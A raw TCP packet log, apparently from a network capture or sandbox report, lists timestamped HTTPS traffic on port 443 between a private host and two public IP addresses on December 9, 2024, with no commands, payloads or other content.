Dec 9, 2024 17:53:14.906958103 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.906980991 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.906997919 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.916449070 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.916484118 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.916515112 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.916527033 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.916572094 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.916582108 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.924943924 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.924972057 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.925009012 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.925020933 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.925054073 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.925066948 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.932539940 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.932559967 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.932594061 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.932619095 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.932629108 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.932660103 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.941236019 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.941251993 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.941306114 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.941318989 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.941375971 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.949651957 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.949670076 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.949703932 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.949716091 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.949748039 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.957670927 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.957688093 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.957756042 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.957767963 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.957807064 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.965497971 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.965514898 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.965559959 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.965574980 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:14.965579033 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:14.965640068 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.099078894 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.099107981 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.099215984 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.099239111 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.099342108 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.104824066 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.104840994 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.104898930 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.104918003 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.104954004 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.104954004 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.110111952 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.110132933 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.110200882 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.110218048 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.110234022 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.110274076 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.116197109 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.116215944 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.116298914 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.116316080 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.116385937 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.119714022 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.119760036 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.119803905 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.119821072 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:53:15.119852066 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.119863033 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.120292902 CET	49737	443	192.168.2.4	194.87.189.43
Dec 9, 2024 17:53:15.120311975 CET	443	49737	194.87.189.43	192.168.2.4
Dec 9, 2024 17:54:00.659255028 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:00.659291029 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:00.659363031 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:00.676378965 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:00.676409006 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:01.979626894 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:01.979701996 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.065253973 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.065288067 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.065663099 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.065721035 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.069031000 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.115326881 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.631762981 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.631783009 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.631833076 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.631865025 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.631880999 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.631927967 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.677156925 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.677185059 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.677256107 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.677282095 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.677299023 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.677313089 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.826436043 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.826463938 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.826546907 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.826572895 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.826589108 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.826611996 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.857567072 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.857592106 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.857675076 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.857706070 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.857731104 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.857812881 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.887826920 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.887846947 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.887934923 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.887964010 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.888052940 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.913794041 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.913814068 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.913892984 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.913922071 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:02.913947105 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:02.913968086 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.028860092 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.028871059 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.028934956 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.028956890 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.028995991 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.029098988 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.048707008 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.048731089 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.048815012 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.048830032 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.049057961 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.070050001 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.070087910 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.070127010 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.070154905 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.070180893 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.070219994 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.091450930 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.091480017 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.091593027 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.091619015 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.091825008 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.109710932 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.109751940 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.109778881 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.109797001 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.109824896 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.109843969 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.131254911 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.131284952 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.131375074 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.131405115 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.132740021 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.215224028 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.215250969 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.215329885 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.215354919 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.215404987 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.228816986 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.228844881 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.228894949 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.228909969 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.228933096 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.228955030 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.243268013 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.243292093 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.243372917 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.243381977 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.243491888 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.256716967 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.256735086 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.256799936 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.256807089 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.256995916 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.266676903 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.266693115 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.266755104 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.266761065 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.266804934 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.273346901 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.273361921 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.273417950 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.273425102 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.273482084 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.280549049 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.280564070 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.280632973 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.280647039 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.281074047 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.287959099 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.287976027 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.288026094 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.288033009 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.288089037 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.411927938 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.411959887 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.412003994 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.412039995 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.412067890 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.412082911 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.417598963 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.417615891 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.417666912 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.417689085 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.417725086 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.417741060 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.424381971 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.424400091 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.424463987 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.424480915 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.424654961 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.431389093 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.431406975 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.431473017 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.431493044 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.431540012 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.437684059 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.437690973 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.437771082 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.437787056 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.437932014 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.444601059 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.444622040 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.444674015 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.444693089 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.444721937 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.444741011 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.450601101 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.450618982 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.450680017 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.450695992 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.450721979 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.450740099 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.462224007 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.462254047 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.462305069 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.462321043 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.462361097 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.462372065 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.603383064 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.603413105 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.603480101 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.603513002 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.603535891 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.603559017 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.610104084 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.610132933 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.610177994 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.610187054 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.610234976 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.616978884 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.617006063 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.617089987 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.617096901 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.617134094 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.622888088 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.622922897 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.623007059 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.623028994 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.623179913 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.630131960 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.630156994 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.630198002 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.630220890 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.630240917 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.630260944 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.636140108 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.636168003 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.636220932 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.636241913 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.636260033 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.636276960 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.643008947 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.643038988 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.643095970 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.643111944 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.643136978 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.643157005 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.654416084 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.654443979 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.654486895 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.654509068 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.654562950 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.654695988 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.811098099 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.811125994 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.811156034 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.811172962 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.811182022 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.811244011 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.818069935 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.818095922 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.818151951 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.818172932 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.818214893 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.823965073 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.823992968 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.824043989 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.824057102 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.824083090 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.824099064 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.831130981 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.831161976 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.831211090 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.831228018 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.831248999 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.831269979 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.838318110 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.838346958 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.838376999 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.838387012 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.838417053 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.843940020 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.843965054 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.844002962 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.844017982 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.844039917 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.844063044 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.850831032 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.850861073 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.850923061 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.850941896 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.850984097 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.856822968 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.856852055 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.856931925 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.856947899 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:03.856976032 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:03.856997967 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.003623962 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.003654003 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.003711939 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.003739119 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.003766060 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.003789902 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.010325909 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.010351896 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.010389090 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.010395050 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.010454893 CET	49824	443	192.168.2.4	107.167.96.30
